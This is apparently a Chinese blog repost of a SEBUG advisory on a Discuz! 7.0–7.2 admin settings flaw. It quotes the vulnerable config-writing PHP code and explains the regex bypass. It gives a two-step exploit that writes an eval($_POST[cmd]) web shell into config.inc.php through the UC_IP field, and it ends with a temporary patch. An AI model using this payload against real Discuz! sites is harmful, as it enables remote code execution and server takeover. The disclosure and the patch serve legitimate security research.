Discuz!7.0-7.2后台settings.inc.php中写shell漏洞

2010年2月5日星期五 | | |

 
SSV ID:19067
SEBUG-Appdir:Discuz!
Published:2010-02-05
Vulnerable:
Discuz!7.0-7.2
Discription:
漏洞详情:  if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {          $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];          if($settingsnew['uc']['connect']) {              $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);              if(!$uc_dblink) {                  cpmsg('uc_database_connect_error', '', 'error');              } else {                  mysql_close($uc_dblink);              }          }            $fp = fopen('./config.inc.php', 'r');          $configfile = fread($fp, filesize('./config.inc.php'));          $configfile = trim($configfile);          $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;          fclose($fp);            $connect = '';          if($settingsnew['uc']['connect']) {              require './config.inc.php';              $connect = 'mysql';              $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);              $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');              $configfile = insertconfig($configfile, "/define\ ('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc'] ['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com              $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");              $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");              $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");              $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");              //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");          }          $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");          $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");          $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");          $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");          $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");            $fp = fopen('./config.inc.php', 'w');          if(!($fp = @fopen('./config.inc.php', 'w'))) {              cpmsg('uc_config_write_error', '', 'error');          }          @fwrite($fp, trim($configfile));          @fclose($fp);      }    settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。    function insertconfig($s, $find, $replace) {  if(preg_match($find, $s)) {  $s = preg_replace($find, $replace, $s); //正则匹配替换数据  } else {  $s .= "\r\n".$replace;  }  return $s;  } 
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;  步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。
SEBUG Solution:
临时补丁:    在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:        foreach($settingsnew['uc'] as $key => $value){      $settingsnew['uc'][$key]=str_replace(')','',$value);      }
// sebug.net [2010-02-05]
 
http://sebug.net/vulndb/19067/
我的QQ空间
ECSHOP 后台拿shell超简单版[好用没得说]
ECSHOP 2.6 后台拿shell超简单版天气又冷了~~多穿点!1.针对2.6...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]